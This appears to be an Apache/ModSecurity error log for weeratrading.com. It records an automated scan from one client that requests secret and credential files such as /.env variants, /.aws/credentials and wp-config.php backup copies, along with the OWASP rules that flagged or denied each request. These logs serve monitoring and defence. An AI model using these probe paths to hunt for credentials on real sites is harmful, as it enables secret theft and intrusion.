[Fri Jul 17 08:57:52.857381 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:52.938599 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:53.302595 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:54.161790 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:54.343384 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:54.390585 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:54.621022 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:54.737142 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:56.022310 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:47924] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:57.371370 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:47974] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:57.429373 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:57.439636 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:57.949506 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:58.009636 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:58.351157 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env"] [unique_id "almhPo1dLClkUfK_dfHleQAAAAI"]
[Fri Jul 17 08:57:58.351377 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env"] [unique_id "almhPo1dLClkUfK_dfHleQAAAAI"]
[Fri Jul 17 08:57:58.351702 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env"] [unique_id "almhPo1dLClkUfK_dfHleQAAAAI"]
[Fri Jul 17 08:57:58.426600 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.aws/config"] [unique_id "almhPhHlOGcokz2QIwTTsgAAAAM"]
[Fri Jul 17 08:57:58.426864 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.aws/config"] [unique_id "almhPhHlOGcokz2QIwTTsgAAAAM"]
[Fri Jul 17 08:57:58.427195 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.aws/config"] [unique_id "almhPhHlOGcokz2QIwTTsgAAAAM"]
[Fri Jul 17 08:57:58.428233 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.aws/credentials"] [unique_id "almhPol9vhFBGA6D8l96lQAAAAw"]
[Fri Jul 17 08:57:58.428438 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.aws/credentials"] [unique_id "almhPol9vhFBGA6D8l96lQAAAAw"]
[Fri Jul 17 08:57:58.428775 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.aws/credentials"] [unique_id "almhPol9vhFBGA6D8l96lQAAAAw"]
[Fri Jul 17 08:57:58.479862 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:58.483350 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:58.585798 2026] [security2:error] [pid 2030955:tid 2030955] [client 104.28.251.195:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/wp-config.php.old"] [unique_id "almhPvwooI4qY7Jg93pWBAAAABM"]
[Fri Jul 17 08:57:58.585981 2026] [security2:error] [pid 2030955:tid 2030955] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/wp-config.php.old"] [unique_id "almhPvwooI4qY7Jg93pWBAAAABM"]
[Fri Jul 17 08:57:58.586278 2026] [security2:error] [pid 2030955:tid 2030955] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/wp-config.php.old"] [unique_id "almhPvwooI4qY7Jg93pWBAAAABM"]
[Fri Jul 17 08:57:58.586827 2026] [security2:error] [pid 2030955:tid 2030955] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/wp-config.php.old"] [unique_id "almhPvwooI4qY7Jg93pWBAAAABM"]
[Fri Jul 17 08:57:58.588182 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.251.195:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/wp-config.php~"] [unique_id "almhPgRRrtuZqNDDSqWwoQAAABo"]
[Fri Jul 17 08:57:58.588368 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/wp-config.php~"] [unique_id "almhPgRRrtuZqNDDSqWwoQAAABo"]
[Fri Jul 17 08:57:58.588672 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/wp-config.php~"] [unique_id "almhPgRRrtuZqNDDSqWwoQAAABo"]
[Fri Jul 17 08:57:58.589024 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/wp-config.php~"] [unique_id "almhPgRRrtuZqNDDSqWwoQAAABo"]
[Fri Jul 17 08:57:58.590696 2026] [security2:error] [pid 2013797:tid 2013797] [client 104.28.251.195:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/wp-config.php.bak"] [unique_id "almhPlh1WDijTxd1xw5M7QAAAAc"]
[Fri Jul 17 08:57:58.590864 2026] [security2:error] [pid 2013797:tid 2013797] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/wp-config.php.bak"] [unique_id "almhPlh1WDijTxd1xw5M7QAAAAc"]
[Fri Jul 17 08:57:58.591133 2026] [security2:error] [pid 2013797:tid 2013797] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/wp-config.php.bak"] [unique_id "almhPlh1WDijTxd1xw5M7QAAAAc"]
[Fri Jul 17 08:57:58.591732 2026] [security2:error] [pid 2013797:tid 2013797] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/wp-config.php.bak"] [unique_id "almhPlh1WDijTxd1xw5M7QAAAAc"]
[Fri Jul 17 08:57:58.592974 2026] [authz_core:error] [pid 2031172:tid 2031172] [client 104.28.251.195:0] AH01630: client denied by server configuration: /home/weeratra/public_html/wp-config.php
[Fri Jul 17 08:57:58.666715 2026] [security2:error] [pid 2029579:tid 2029579] [client 104.28.251.195:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/.wp-config.php.swp"] [unique_id "almhPiRF0UOO1RzB5_8ucAAAAA4"]
[Fri Jul 17 08:57:58.666747 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/wp-config.php.save"] [unique_id "almhPo1dLClkUfK_dfHlegAAAAI"]
[Fri Jul 17 08:57:58.667000 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/wp-config.php.save"] [unique_id "almhPo1dLClkUfK_dfHlegAAAAI"]
[Fri Jul 17 08:57:58.667182 2026] [security2:error] [pid 2029579:tid 2029579] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.wp-config.php.swp"] [unique_id "almhPiRF0UOO1RzB5_8ucAAAAA4"]
[Fri Jul 17 08:57:58.667518 2026] [security2:error] [pid 1993619:tid 1993619] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/wp-config.php.save"] [unique_id "almhPo1dLClkUfK_dfHlegAAAAI"]
[Fri Jul 17 08:57:58.667705 2026] [security2:error] [pid 2029579:tid 2029579] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.wp-config.php.swp"] [unique_id "almhPiRF0UOO1RzB5_8ucAAAAA4"]
[Fri Jul 17 08:57:58.667767 2026] [security2:error] [pid 2029579:tid 2029579] [client 104.28.251.195:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/weeratra-global": Permission denied [hostname "weeratrading.com"] [uri "/.wp-config.php.swp"] [unique_id "almhPiRF0UOO1RzB5_8ucAAAAA4"]
[Fri Jul 17 08:57:58.667782 2026] [security2:error] [pid 2029579:tid 2029579] [client 104.28.251.195:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/weeratra-ip": Permission denied [hostname "weeratrading.com"] [uri "/.wp-config.php.swp"] [unique_id "almhPiRF0UOO1RzB5_8ucAAAAA4"]
[Fri Jul 17 08:57:58.687560 2026] [authz_core:error] [pid 2030803:tid 2030803] [client 104.28.251.195:0] AH01630: client denied by server configuration: /home/weeratra/public_html/wp-content/debug.log
[Fri Jul 17 08:57:59.324124 2026] [security2:error] [pid 2013797:tid 2013797] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.production"] [unique_id "almhP1h1WDijTxd1xw5M7wAAAAc"]
[Fri Jul 17 08:57:59.324420 2026] [security2:error] [pid 2013797:tid 2013797] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.production"] [unique_id "almhP1h1WDijTxd1xw5M7wAAAAc"]
[Fri Jul 17 08:57:59.324913 2026] [security2:error] [pid 2013797:tid 2013797] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.production"] [unique_id "almhP1h1WDijTxd1xw5M7wAAAAc"]
[Fri Jul 17 08:57:59.329328 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.local"] [unique_id "almhP3RlmrtCoY_COpcmjQAAAAg"]
[Fri Jul 17 08:57:59.329589 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.local"] [unique_id "almhP3RlmrtCoY_COpcmjQAAAAg"]
[Fri Jul 17 08:57:59.329935 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.local"] [unique_id "almhP3RlmrtCoY_COpcmjQAAAAg"]
[Fri Jul 17 08:57:59.330727 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:59.339314 2026] [security2:error] [pid 2030803:tid 2030803] [client 208.84.100.176:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/weeratra-global": Permission denied [hostname "weeratrading.com"] [uri "/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js"] [unique_id "almhP-1pLmPpy2r_2Cxf0gAAAA8"]
